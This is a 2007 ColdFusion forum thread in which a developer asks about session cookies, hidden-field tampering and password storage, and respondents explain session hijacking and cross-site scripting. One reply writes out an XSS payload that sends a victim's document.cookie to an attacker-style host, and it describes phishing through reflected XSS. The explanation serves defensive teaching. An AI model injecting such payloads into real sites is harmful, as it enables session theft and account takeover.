4 Replies Latest reply on Jan 29, 2007 4:19 AM by Fernis

    Some security issues...

    midimidi Level 1
      Got a couple of security questions here as I work on my first "large-scale" Coldfusion-only website. This site will have an admin section, user profiles holding personal information, blog-like posting, roles - so, as a first for me, I need to cover up as many holes as possible. Sorry for the long explanations - the questions are in bold.

      1) My login system is using cflogin framework. I have the Dev license CF MX7 and have learned a bit about the cookie.jsessionID that repopulates itself only when the browser is closed and reopened. I decided to use this to detect when a browser was closed (and user is still logged in) so that I could kill the session and redisplay the login form. I checked my dev admin settings along with my host (hostmysite.com), and they are all the same (J2EE session disabled, App/Session variables enabled), but on my host, cookie.jsessionID is not being made! What do they need to enable for jsessionID to be created? ...and if the answer is "J2EE session variables" then why is my dev box propogating cookie.jsessionID per session, regardless if "J2EE session variables" are enabled or not (and yes, I restarted the server)?!

      2) I've been reading alot about form hacking, cross-site scripting etc. One thing I saw was, for instance, if you have an UPDATE user information form, you have to pass things like "userID" via a hidden formfield, and a hacker could easily copy-paste the outputted form code, replace the hidden userID value and then end up updating someone else's information. How can you completely stop an attack like this? Recommendations I've read included using cfparam (which only stops SQL injection, not physically changing the userID!), or one other was to include a second hidden field with hash(userID) and then re-check it in the action page...the problem there is if you have CF installed *anywhere* (including the free dev version) you could easily perform the exact same hash() action on your own server, with your own values, and then populate both of the hidden fields because every CF server returns the same results for hash(). Does anyone have a more realistic way to stop this particular kind of attack?

      3) For storing passwords in a datasource, I ran GenerateSecretKey(algorithm) a bunch of times, copy-pasted it to APPLICATION.key and am using that key with encrypt()/decrypt() for inserting all passwords into the DB (and likewise, when retrieving them). Is that "good enough?" Or is there an even better way? In my case, the encryption here is very important, because I have a "Remember Me" function on login where the user/pass is stored using cfcookie on the client side.
        • 1. Re: Some security issues...
          Dan Bracuk Level 5
          To keep the user id safe, use session variables instead of hidden form fields.

          For the Remember Me feature, consider storing only the username in the cookie and make them re-enter the password.

          For storing passwords, you could use the hash function. However, that would prevent you from sending the user's their forgotten passwords. You'll have to give that some thought.
          • 2. Re: Some security issues...
            midimidi Level 1
            quote:

            Originally posted by: Dan Bracuk
            To keep the user id safe, use session variables instead of hidden form fields.


            Good thought - is the session scope hackable?

            quote:

            For the Remember Me feature, consider storing only the username in the cookie and make them re-enter the password.


            eh - I'd prefer that they don't have to worry about ever re-logging in when Remember Me is checked. Other sites do this, and I suppose I'm just curious if what I've done is comparable to what others do, or if its "good enough."

            quote:

            For storing passwords, you could use the hash function. However, that would prevent you from sending the user's their forgotten passwords. You'll have to give that some thought.


            I'm actually using encrypt/decrypt. This allows you to re-decrypt the password text. Again, its just a question of "good enough."


            Still curious about the jsessionID issue.
            • 3. Re: Some security issues...
              Dan Bracuk Level 5
              What's good enough is subjective. It's the constant battle between security and convenience.

              The session scope resides in the server's RAM. A hacker would have to really good to get at it.
              • 4. Re: Some security issues...
                Fernis Level 3
                The only thing I'm worried about is that without J2EE session ID's (CFMX Professional Edition) you only have CFID and CFTOKEN to identify the session. If user A starts a session, and logs in, and hacker B brute-force-guesses your CFID/CFTOKEN pair, he can steal your browser session if you're still logged in.

                If there's a man-in-the-middle attack, even the brute-force-safe and lengthy JSESSIONID can be obtained by anyone, if SSL is not being used. It just takes the Web Developer Plugin for Mozilla for example, to add the cookies to a browser, and your session is hijacked again.

                I don't consider the above risks huge, but cross-site scripting vulnerabilities are a serious issue, which SSL does not protect you from at all. All the hacker needs is a server-side script which outputs for example any of the following: a) something that users can save in a database that is loaded from there afterwards, b) any parameter value in the URL, c) any form field parameter value.

                Example a)

                You write a registration form. User types <script>document.location = ' http://iminursitezstealinurcookeez.com?c='+document.cookie'</script> as his postal address.

                Next, you log in as the administrator and go see new registrations. In the overview listing you'll be thrown into the h4x0r's site - or better yet, a scripted unvisible iframe does that in the backround without you knowing. The h4x0r's web server logs the http request, with the url parameter c will contains all your cookie information. Next, before you know, he has inserted the cookies in his own browser, changed your password, created another administrative user account, logged you out, logged in with the other user account, and stolen your valuable user registration data.

                Another common example are web forums, where users may include javascript in the forum posts. Not only can they try to steal your sessions, but they can easily make the visitors generate money for him, by scripting HTML from within the javascript, which loads up an image, for example. Like, <img src="kinky-cpu-sem-Pr0n-site.com?advertiserId=abcd">, and each page load generates them like 5 cents.

                Example c)
                The web is _full_ of search forms which display literally what you searched for. Next up, the hacker posts a spam message to a million people, with a link that has Your respectable domain address, followed by some URL parameters which actually relocate the users to another site, or better yet, a visual copy of the site, trying to steal the users' passwords.

                To eliminate XSS vulnerabilities, always validate input variables, and never output them on the page without encoding them to "HtmlEditFormat" (< > = &lt; &gt), etc.